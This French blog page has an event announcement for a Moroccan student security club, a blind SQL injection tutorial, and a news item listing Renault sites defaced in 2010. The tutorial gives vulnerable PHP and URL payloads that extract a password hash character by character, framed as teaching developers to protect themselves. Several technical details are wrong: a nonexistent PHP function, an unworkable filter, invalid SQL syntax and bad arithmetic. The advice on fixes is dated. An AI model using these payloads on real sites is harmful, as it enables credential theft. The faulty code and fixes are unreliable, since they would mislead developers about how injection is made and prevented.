    Il faut dire qu’au Maroc la culture d’underground et de sécurité informatique n’a pas encore atteint la maturité qu’il faut par rapport aux autres pays, je salues donc cette initiative qui nous permettra d’avoir des futurs ingénieurs avertis et qui produiront du code propre et sécurisé, cet événement et aussi pour dire que le Hacking n’est pas de la magie et qu’il suffit de prendre certaines mesures qui deviendront par la suite des réflexes pour le bien du web Marocain!

    Du coup, je vais aller y faire un tour cette année, (vu que j’ai participé à la réalisation de quelques challenges) et j’essayerai de vous faire un feedback de l’ambiance qui règne là bas. donc pour vous rappeler : Ça se déroulera le samedi et dimanche 15 et 16 Avril, de 14h à 20h! et le concours se déroulera toute la nuit à partir de vendredi minuit jusqu’à 9:00 du samedi matin! on se voit là bas alors?

    Je vous invite à découvrir le programme détaillé sur le site officiel du club INSEC et je vous dit à très bientôt!

    SQL injection avancée: Blind SQL injection (partie 3)

    Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d’aujourd’hui sera dédié à un vecteur d’attaque un peu particulier, si vous ne connaissez pas les principes d’une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)

    Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d’attaque d’une injection SQL, j’espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n’hésitez pas à me faire part de vos remarques ;)

    Qu’est ce que Blind SQL Injection?

    Blind SQL Injection est un vecteur d’attaque dont l’approche est très différente de celle des injections classiques, elle permet comme ses ascendants d’injecter des données à partir d’une base d’une application vulnérable. Repérer une faille de ce type n’est pas toujours facile et demande une série de tests.

    Les Injections blind se caractérisent par l’absence d’un message d’erreur (qui généralement permet de repérer la faille), ce qui impose une serie de tests « à l’aveuglette » afin d’identifier la présence d’une faille (ou pas) !

    Prenant un exemple :

    On considère une application web avec une page profile.php avec le code ci-dessous :

    //…
    $user_id = $_GET['user_id'];
    while(stristr($user_id, '#union#i')) $user_id = stri_replace('union','',$_GET['user_id']);
    $query = "SELECT * FROM profile WHERE user_id = $user_id" ;
    if(!@mysql_query($query)){
    	echo "Ce membre n'existe pas";
    }
    else{
    	//Affichage des données du profil
    }
    

    Ce code semble sécurisé contre les injections classiques puisqu’il remplace le mot clé « union », donc pas de possibilité de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l’exploiter!

    Analysons cette requête :

    profile.php?user_id=1

    Cet appel affichera le profile de l’utilisateur ayant l’id 1 (généralement l’administrateur du site)

    Que se passera t’il avec :

    profile.php?user_id=1 AND 1=2

    Logiquement 1 != 2, si le script n’affiche pas le profil c’est que la condition rajoutée a été exécutée dans la requête, on peut vérifier ça on rajoutant une condition qui retourne toujours true (profile.php?user_id=1 AND 4=4). Si avec cet appel le profil de l’utilisateur ayant user_id=1 s’affiche, c’est que le script est vulnérable à une injection de type « Blind SQL Injection », alors là! La bonne nouvelle c’est que l’attaquant ne voit aucune information affichée, la mauvaise c’est qu’il peut facilement bruteforcer l’information en rajoutant des conditions dans l’url. Ainsi suivant l’affichage ou le non-affichage du profil, l’attaquant peut comprendre si la condition qu’il a mis est remplie, et enfin extraire les informations caractère par caractère

    Exemple permettant de vérifier que la version de mysql est 5:

    profile.php?user_id=1 AND version() MATCH 5

    Voyant ce qu’un attaquant malveillant peut faire pour exploiter cette faille :

    profile.php?user_id=1 and length(password)=32

    Cet appel illuste un test sur la longueur du champ password, généralement les passes sont cryptés en md5, si c’est le cas le profil s’affiche et ça facilite à l’attaquant la poursuite de son exploitation ! Un md5 est une chaine de caractère en hexadécimal [09-af] donc 16 possibilités pour chaque caractères, du coup le nombre des possibilités n’est pas énormes, 16 tests au maximum peuvent permettre d’injecter un caractère du champ password, ce qui donne 16×15 = 512 requêtes maximum en total pour extraire le hash md5 de l’utilisateur ayant user_id = 1

    Exemple :

    profile.php?user_id=1 AND substr(password,0,1)= 0×66

    Pour tester si le premier caractère est un « f » (0×66 correspond au code hexadécimal de la lettre f) ainsi selon l’affichage (ou non) du profil utilisateur l’attaquant peut facilement extraire le reste de la chaine de caractère du mot de passe, évidement sans aucun message d’erreur affiché sur son écran !

    Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l’aveuglette en se servant d’une page vulnérable qui affiche une donnés X, selon l’affichage ou non de cette dernière on peut deviner les données se cachant derrière.

    Comment sécuriser son application ?

    Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j’ai cité dans les deux premier tutoriaux : de manière générale : Ne jamais se contenter de cacher les messages d’erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction mysql_real_escape_string

    Le réseau des sites web Renault piraté

    Le réseau des sites web de la célèbre marque Renault, l’un des plus grands acteurs du marché automobile, a été piraté lundi 17 mai 2010 par un groupe de hackers s’intitulant « v4 Team ». Ces derniers ont pu avoir accès sur le serveur principale hébergeant toutes les extensions des domaines renault y compris renault.co.ma.

    Suite à cette attaque massive, 52 sites officiels de renault ont été défigurés, affichant un message « by Q8 H4x0r renalut 0wn3d », les attaquant semblent exploiter une faille au niveau du serveur IIS6 tournant sous Windows 2003.

    Liste des sites piratés:

    • renault.uz
    • www.renault.co.uz/v4.asp
    • renault.com.pk/v4.asp
    • www.renault.com.pr/v4.asp
    • www.renault.eu/v4.asp
    • renault.sg/v4.asp
    • www.renault.tg/v4.asp
    • www.nouveautes-entreprise.renault.fr/v4.asp
    • www.megane-hatch-fleet.renault.co.uk/v4.asp
    • empresas-novidades.renault.pt/v4.asp
    • megane-sport-tourer-empresas.renault.pt/v4.asp
    • www.scenic-empresas.renault.pt/v4.asp
    • www.nuevo-megane-sport-tourer-empresas.renault.es
    • renault.com.tj
    • renault.co.ma
    • www.renault.co.tt/x.asp
    • www.renault.cg/x.asp
    • www.renault.ec/x.asp
    • www.nouveau-scenic-entreprises…
    • www.renault.com.ly/x.asp
    • www.renault.mobi/x.asp
    • www.renault.my/x.asp
    • www.renault.com.py/v4.asp
    • renault.com.ro/v4.asp
    • www.renault.gen.in/v4.asp
    • renault.hn/v4.asp
    • renault.la/v4.asp
    • http://megane-estate-entreprises.renault.fr/v4.asp
    • http://nouveautes-entreprises.renault.com/v4.asp
    • renault.com.az/x.asp
    • www.renault.co.in/x.asp
    • renault.cm/x.asp
    • renault.gy/x.asp
    • www.renault.hk/x.asp
    • www.renault.mq/x.asp
    • www.renault.kg/x.asp
    • www.renault.sn/x.asp
    • www.renault.asia/x.asp
    • http://new-models-fleet.renault.co.uk
    • renault.co.th/x.asp
    • renault.com.pt/x.asp
    • renault.co.ve/x.asp
    • new-models-fleet.renault.co.uk
    • megane-sport-tourer-fleet.rena…
    • www.renault.biz
    • http://nueva-gama-empresas.renault.es/x.asp
    • renault.ht/x.asp

    • http://nuevo-megane-berlina-empresas.renault.es/x.asp
    • http://www.megane-berlina-empresas.renault.pt/x.asp
    • renault.bo/x.asp
    • nuevo-scenic-empresas.renault.es/x.asp
    • renault.vn/x.asp